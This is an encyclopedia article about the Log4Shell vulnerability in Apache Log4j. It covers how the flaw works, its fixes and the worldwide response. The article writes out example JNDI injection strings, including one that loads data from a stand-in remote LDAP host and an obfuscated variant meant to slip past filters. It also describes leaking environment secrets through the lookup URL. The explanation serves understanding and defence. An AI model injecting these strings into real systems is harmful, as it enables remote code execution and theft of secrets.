Log4Shell

Log4Shell (CVE-2021-44228) is a zero-day vulnerability in Log4j, a popular Java logging framework, involving arbitrary code execution.[2][3] The vulnerability was privately disclosed to Apache by Alibaba's Cloud Security Team on 24 November 2021 and publicly disclosed on 9 December 2021.[1][4][5]

Log4Shell
CVE identifier(s)CVE-2021-44228
Date discovered24 November 2021 (2021-11-24)
Date patched6 December 2021 (2021-12-06)
DiscovererChen Zhaojun of the Alibaba Cloud Security Team[1]
Affected softwareApplications logging user input using Log4j 2

The vulnerability takes advantage of Log4j allowing requests to arbitrary LDAP and JNDI servers, and not checking the responses,[6][2][7] allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information.[5] Affected services include Amazon AWS,[8] Cloudflare, iCloud,[9] Minecraft: Java Edition,[10] Steam, Tencent QQ and many many others.[6][11][12] LunaSec characterized the vulnerability as "a design failure of catastrophic proportions"[5] and Tenable as "the single biggest, most critical vulnerability of the last decade".[13] The Apache Software Foundation, which Log4j is a project of, gave Log4Shell a CVSS severity rating of 10, the highest available score.[14]

Background

Log4j is an open source logging framework that allows software developers to log data within their applications. This data can include user input.[15] It is used ubiquitously in Java applications, especially enterprise software.[5] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation.[16]

Behavior

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[17] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[18]

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[18] For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[19] Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[18] Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.[20][21] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[22][23]

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[24] Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[25] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[18]

Mitigation

Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[26] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows denial of service attacks in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[27][28][29] For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[14][27] An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046.[27]

Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[20][2][30][31] Several methods and tools have been published to help detect the usage of vulnerable log4j versions in built Java packages.[32]

Response and impact

In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, termed the exploit "critical" and advised vendors to prioritize software updates,[33] and the Canadian Centre for Cyber Security (CCCS) called on organizations to take on immediate action.[34] Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[35][36] The Netherlands's National Cyber Security Centre (NCSC) began an on-going list of vulnerable applications.[37][38]

According to Cloudflare CEO Matthew Prince, evidence for usage or testing of the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[39] According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[40] The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4000 of its websites as a "preventative measure."[41]

As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[42] Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[43] Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December and the Mirai botnet.[44][39]

References

  1. Povolny, Steve; McKee, Douglas (10 December 2021). "Log4Shell Vulnerability is the Coal in our Stocking for 2021". McAfee. Retrieved 12 December 2021.
  2. Wortley, Free; Thrompson, Chris; Allison, Forrest (9 December 2021). "Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package". LunaSec. Retrieved 12 December 2021.
  3. "CVE-2021-44228". Common Vulnerabilities and Exposures. Retrieved 12 December 2021.
  4. "Worst Apache Log4j RCE Zero day Dropped on Internet". Cyber Kendra. 9 December 2021. Retrieved 12 December 2021.
  5. Newman, Lily Hay (10 December 2021). "'The Internet Is on Fire'". Wired. ISSN 1059-1028. Retrieved 12 December 2021.
  6. Mott, Nathaniel (10 December 2021). "Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit". PC Magazine. Retrieved 12 December 2021.
  7. Goodin, Dan (10 December 2021). "Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet". Ars Technica. Retrieved 12 December 2021.
  8. "Update for Apache Log4j2 Issue (CVE-2021-44228)". Amazon Web Services. 12 December 2021. Retrieved 13 December 2021.
  9. Lovejoy, Ben (14 December 2021). "Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade". 9to5mac.
  10. "Security Vulnerability in Minecraft: Java Edition". Minecraft. Mojang Studios. Retrieved 13 December 2021.
  11. Goodin, Dan (10 December 2021). "The Internet's biggest players are all affected by critical Log4Shell 0-day". ArsTechnica. Retrieved 13 December 2021.
  12. Rundle, David Uberti and James (15 December 2021). "What Is the Log4j Vulnerability?" via www.wsj.com.
  13. "Recently uncovered software flaw 'most critical vulnerability of the last decade'". The Guardian. Associated Press. 11 December 2021. Retrieved 12 December 2021.
  14. "Apache Log4j Security Vulnerabilities". Log4j. Apache Software Foundation. Retrieved 12 December 2021.
  15. Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (10 December 2021). "Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)". Unit 42. Palo Alto Networks.
  16. "Apache Log4j 2". Apache Software Foundation. Retrieved 12 December 2021.
  17. Sermersheim, J. (June 2006). Lightweight Directory Access Protocol (LDAP): The Protocol. International Electronic Task Force. doi:10.17487/RFC4513. RFC rfc4511. Retrieved 13 December 2021.
  18. Graham-Cumming, John (10 December 2021). "Inside the Log4j2 vulnerability (CVE-2021-44228)". The Cloudflare Blog. Retrieved 13 December 2021.
  19. "Lookups". Log4j. Apache Software Foundation. Retrieved 13 December 2021.
  20. Ducklin, Paul (12 December 2021). "Log4Shell explained – how it works, why you need to know, and how to fix it". Naked Security. Sophos. Retrieved 12 December 2021.
  21. Miessler, Daniel (13 December 2021). "The log4j (Log4Shell) Situation". Unsupervised Learning.
  22. Duraishamy, Ranga; Verma, Ashish; Ang, Miguel Carlo (13 December 2021). "Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited". Trend Micro. Retrieved 14 December 2021.
  23. Narang, Satnam (10 December 2021). "CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)". Tenable Blog. Retrieved 14 December 2021.
  24. Gabor, Gabriel; Bluehs, Gabriel (10 December 2021). "CVE-2021-44228 - Log4j RCE 0-day mitigation". The Cloudflare Blog. Retrieved 13 December 2021.
  25. Hahad, Mounir (12 December 2021). "Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns". Retrieved 12 December 2021.
  26. "Restrict LDAP access via JNDI by rgoers #608". Log4j. 5 December 2021. Retrieved 12 December 2021 via GitHub.
  27. "CVE-2021-45046". Common Vulnerabilities and Exposures. 15 December 2021. Retrieved 15 December 2021.
  28. "LOG4J2-3208: Disable JNDI by default". Apache's JIRA issue tracker. Retrieved 14 December 2021.
  29. "LOG4J2-3211: Remove support for Lookups in messages". Apache's JIRA issue tracker. Retrieved 14 December 2021.
  30. "Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes". Oracle. 17 January 2017. Retrieved 13 December 2021.
  31. "Exploiting JNDI Injections in Java". Veracode. 3 January 2019. Retrieved 15 December 2021.
  32. "Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)". www.lunasec.io. 13 December 2021. Retrieved 13 December 2021.
  33. "Statement from CISA Director Easterly on "Log4j" Vulnerability". CISA. 11 December 2021.
  34. "Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action". Government of Canada. 12 December 2021.
  35. Sauerwein, Jörg (12 December 2021). "BSI warnt vor Sicherheitslücke". Tagesschau (in German).
  36. "Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage" [Red alarm: Log4Shell vulnerability causes extremely critical threat situation] (Press release) (in German). Federal Office for Information Security. 11 December 2021.
  37. J. Vaughan-Nichols, Steven (14 December 2021). "Log4Shell: We Are in So Much Trouble". The New Stack.
  38. "NCSC-NL/log4shell". National Cyber Security Centre (Netherlands). Retrieved 14 December 2021 via GitHub.
  39. Duckett, Chris. "Log4j RCE activity began on 1 December as botnets start using vulnerability". ZDNet. Retrieved 13 December 2021.
  40. "Exploit activity for Apache Log4j vulnerability - CVE-2021-44228". Greynoise Research. 10 December 2021. Retrieved 14 December 2021.
  41. Cabrera, Holly (12 December 2021). "Facing cybersecurity threats, Quebec shuts down government websites for evaluation". CBC News. Retrieved 12 December 2021.
  42. "Almost half of networks probed for Log4Shell weaknesses". ComputerWeekly. 14 December 2021.
  43. "The numbers behind a cyber pandemic – detailed dive". Check Point Software. 13 December 2021.
  44. Zugec, Martin (13 December 2021). "Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild". Business Insights. Bitdefender.
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.